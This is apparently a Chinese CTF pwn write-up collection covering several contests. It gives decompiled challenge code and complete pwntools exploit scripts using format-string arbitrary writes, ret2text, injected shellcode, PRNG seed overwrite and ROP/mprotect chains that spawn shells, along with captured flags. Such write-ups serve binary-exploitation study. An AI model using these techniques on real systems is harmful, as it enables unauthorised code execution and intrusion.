1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[88 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Welcome TGCTF!" ); printf ("your gift %p\n" , buf); puts ("please tell me your name" ); read(0 , buf, 0x30 uLL); if ( magic == 1131796 ) { printf (buf); magic = 0 ; } return 0 ; }
会给我们一个栈上的地址,存在格式化字符漏洞但是只能利用一次,read很小无法溢出,所以只能尝试通过格式化字符漏洞任意写控制执行流构造二次输入,泄露libc基址,打one_gadget
通过gdb调试到存在格式化字符漏洞的printf处
可以发现printf的返回地址被放到了buf起始地址之前也就是buf - 8的位置返回地址为0x401276而read的地址是0x40123D将返回地址修改为read的地址即可构造二次输入
利用%n可以将目前输入的字符数覆盖到指定的地址,可以通过%hn写入 一个short类型的值覆盖两个字节,也可以通过%hhn写入一个 signed char 类型的值覆盖一个字节。返回地址与read地址之间只是低位有一个字节的区别两种方式均可
1 2 0x401276 --> 76 12 40 00 0x40123D --> 3D 12 40 00
选择使用%hn覆盖则需要输出0x123D个字节也就是4669个字节,使用%n覆盖返回地址还需指定地址,也就是前面题目给的栈地址-8注意参数具体是第几个。
两种写法:
单字节写入,格式化字符占0x18个字节在栈上也就是3个参数的位置
1 2 3 4 5 6 payload = flat( { 0 :"%{}c%9$hhn%19$p" .format (0x3D ), 0x18 :p64(stack - 8 ) } )
注:在指定参数时rdi是算格式字符也就是 format 而我们指定的参数是 arg ,arg1是存储在rsi中寄存器存储5个参数第6个参数位于栈上,我们格式化字符占了0x18个字节,p64(stack - 8)也就是栈上的第4个参数
双字节写入
1 2 3 payload = b"%4669c%11$hn" + b"%19$p" payload = payload.ljust(0x28 ,b"\x00" ) payload += p64(stack - 8 )
控制过执行流后接收libc二次利用格式化字符漏洞将执行流转至one_gadget处看了gets大佬的wp又学到了新姿势
1 2 3 4 5 6 payload = b"%" + str (one_gadget & 0xFFFF ).encode() payload += (b"c%10$hn%" + str (((one_gadget >> 16 ) & 0xFFFF ) - (one_gadget & 0xFFFF )).encode()) payload += b"c%11$hn" payload = payload.ljust(0x20 , b"\x00" ) payload += p64(stack + 0x68 ) payload += p64(stack + 0x68 + 2 )
这个payload最后是修改的部分是main函数末尾通过leave ret跳转到exit处将该地址利用任意写改成了one_gadget的地址
可以看到是stack地址加0x68处
str(one_gadget & 0xFFFF).encode()
这部分是为了获取one_gadget的低16位并将低 16 位转换为字符串并编码为字节流
str(((one_gadget >> 16) & 0xFFFF) - (one_gadget & 0xFFFF)).encode())
将 one_gadget 右移 16 位,获取高 16 位的值接着计算高 16 位和低 16 位的差值,将差值转换为字符串并编码为字节流
p64(stack + 0x68)
:将 stack + 0x68 的地址转换为 8 字节的小端字节流。这个地址是低 16 位的写入目标。
p64(stack + 0x68 + 2)
:将 stack + 0x68 + 2 的地址转换为 8 字节的小端字节流。这个地址是高 16 位的写入目标。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process( ["/home/pwn/桌面/ld.so.2" , "./pwn" ], env={"LD_PRELOAD" : "/home/pwn/桌面/libc.so.6" }, ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) one =0xe3b01 read=0x40123D io.recvuntil(b'your gift ' ) stack = int (io.recv(14 ),16 ) success(hex (stack)) payload = b"%4669c%11$hn" + b"%19$p" payload = payload.ljust(0x28 ,b"\x00" ) payload += p64(stack - 8 ) io.send(payload) io.recvuntil(b"0x" ) base = int (io.recv(14 ), 16 )-0x24083 print (hex (base))one_gadget = one+base payload = b"%" + str (one_gadget & 0xFFFF ).encode() payload += (b"c%10$hn%" + str (((one_gadget >> 16 ) & 0xFFFF ) - (one_gadget & 0xFFFF )).encode())payload += b"c%11$hn" payload = payload.ljust(0x20 , b"\x00" ) payload += p64(stack + 0x68 ) payload += p64(stack + 0x68 + 2 ) gdb.attach(io) io.send(payload) io.sendline(b'cat f*' ) io.interactive()
比赛的时候one_gadget版本太老了找到的和wp里的不一样就很难受
process新姿势: 1 2 3 4 io = process( ["/home/pwn/桌面/ld.so.2" , "./pwn" ], env={"LD_PRELOAD" : "/home/pwn/桌面/libc.so.6" }, )
西南科大校队招新赛 pwn01
ret2text
1 2 3 4 5 6 7 8 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io=remote('47.113.227.111' ,8090 ) backdoor = 0x080491F6 payload=b'a' *(0x48 +4 )+p32(backdoor) io.sendline(payload) io.interactive()
flag{2732yg_cbhbc_999}
pwn02
1 2 3 4 5 6 7 8 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io=remote('47.113.227.111' ,8091 ) target = 0x0804C030 payload= fmtstr_payload(4 ,{target:1 }) io.sendline(payload) io.interactive()
flag{182hh_jsidj_28ddss}
gift
1 2 3 4 5 6 7 8 9 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('47.113.227.111' ,8094 ) ret = 0x400451 gift = 0x4005C4 payload= b'a' *(0x10 +8 )+p64(ret)+p64(gift) io.sendline(payload) io.interactive()
flag{gift_1s_4_v3ry_l0ng_fl4g_s3cur1ty_k3y5_ABCD1234!@#$}
shellcode
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('47.113.227.111' ,8098 ) elf=ELF('./pwn' ) io.recvuntil('gift->' ) buf = int (io.recvuntil('\n' ,drop=True ),16 ) print (hex (buf))payload = asm(shellcraft.sh()).ljust(0x48 ,b'\x00' ) + p32(0 ) + p32(buf) io.sendline(payload) io.interactive()
flag{m3ss4g3_1n_th3_b1n4ry_f1l3_0xDEADBEEF_1337}
UCSC BoFido-ucsc 伪随机数,read处存在溢出可以覆盖种子,但无法直接覆盖v4,若种子固定则输出的随机数序列一定,循环十次若十次输入数字和随机数生成的一样即可获得shell
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int v6; char buf[20 ]; unsigned int v8; unsigned int v9; unsigned int v10; unsigned int seed; unsigned int i; int v13; int v14; init(); v14 = 0 ; v13 = 0 ; seed = time(0LL ); puts ("Welcome to the lottery game!" ); puts ("Enter your name:" ); read(0 , buf, 0x25 uLL); puts ("Now start your game!" ); srand(seed); for ( i = 1 ; i <= 10 ; ++i ) { v10 = rand() % 255 ; v9 = rand() % 255 ; v8 = rand() % 255 ; printf ("[+] Round %d, please choose your numbers:\n" , i); __isoc99_scanf("%d%d%d" , &v6, &v5, &v4); printf ("The lucky number is: %d %d %d\n" , v10, v9, v8); v13 = 0 ; if ( v10 == v6 ) ++v13; if ( v9 == v5 ) ++v13; if ( v8 == v4 ) ++v13; if ( v13 == 3 ) { puts ("Congratulations! You won the first prize!" ); ++v14; } if ( v13 == 2 ) puts ("Congratulations! You won the second prize!" ); if ( v13 == 1 ) puts ("Congratulations! You won the third prize!" ); if ( !v13 ) puts ("Congratulations! You won nothing!" ); } if ( v14 == 10 ) { puts ("You're so lucky! Here is your gift!" ); system("/bin/sh" ); } else { puts ("See you next time!" ); } return 0 ; }
将随机数种子覆盖为一
1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
0x20个a加上一个1
seed为1时生成10个随机数序列为
1 2 3 4 5 6 7 8 9 10 171 153 203 202 0 183 201 70 206 195 45 120 165 188 58 252 232 96 178 16 144 65 93 195 202 99 159 236 80 162
依次输入即可
国际赛 squ1rrel CTF 2025 jail 还不太会分析docker文件就先贴个大佬的exp
Solved by Winegee:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level = "debug" context.arch = "amd64" p = remote("20.84.72.194" , 5001 ) elf = ELF("./prison" ) pop_rdi = 0x401a0d pop_rdx = 0x401a1a pop_rsi_rbp = 0x413676 bss = 0x00000000004ccac0 pop_rax = 0x41f464 syscall = 0x4013b8 pop_rsp = 0x4450f8 sla(b"They gave you the premium stay so at least you get to choose your cell (1-6): " , str (17 )) p.recvuntil(b"Your cellmate is " ) stack_pointer = u64(p.recv(6 ).ljust(8 , b"\x00" )) rop_addr = stack_pointer - (0x8b0 - 0x7c0 ) payload = p64(pop_rdi) + p64(0 ) + p64(pop_rsi_rbp) + p64(rop_addr) + p64(0 ) + p64(pop_rdx) + p64(0x200 ) + p64(elf.sym["read" ]) + p64(0 ) + p64(pop_rsp) + p64(rop_addr) sa(b"Now let's get the registry updated. What is your name: " , payload) sleep(3 ) payload = b"/bi" + b"/bin/sh\x00" * 9 payload += p64(pop_rdi) + p64(rop_addr) + p64(pop_rsi_rbp) + p64(0 ) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(pop_rax) + p64(0x3b ) + p64(syscall) p.send(payload) p.interactive()
Solved by pfwqdxwdd:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from tools import *context(arch='amd64' ,log_level='debug' ) p=remote("20.84.72.194" ,5001 ) e=ELF("./prison" ) pop_rdi=0x401a0d pop_rdx=0x401a1a xor_rax=0x000000000042bea9 mg0=0x0000000000419501 xor_edi=0x000000000047ddda leave_ret=0x0000000000401b54 rdx=0x0000000000471875 payload=b'a' *0x40 +p64(0x4cb3a0 )+p64(rdx)+p64(xor_edi)+p64(0x000000000042daa6 ) p.sendline(b'1' ) p.recvuntil("name:" ) p.sendline(payload) debug(p,0x401b55 ) pause() mrotect=0x000000000042e5b0 shellcode=asm(''' mov rax, 59 mov rdi,0x0068732f6e69622f push rdi mov rdi,rsp xor rsi,rsi xor rdx,rdx syscall ''' )payload1=b'a' *5 +p64(pop_rdi)+p64(0x4cb000 )+p64(pop_rdx)+p64(0x7 )+p64(0x0000000000413676 )+p64(0x1000 )*2 +p64(mrotect)+p64(0x4cb3f0 )+shellcode p.sendline(payload1) p.interactive()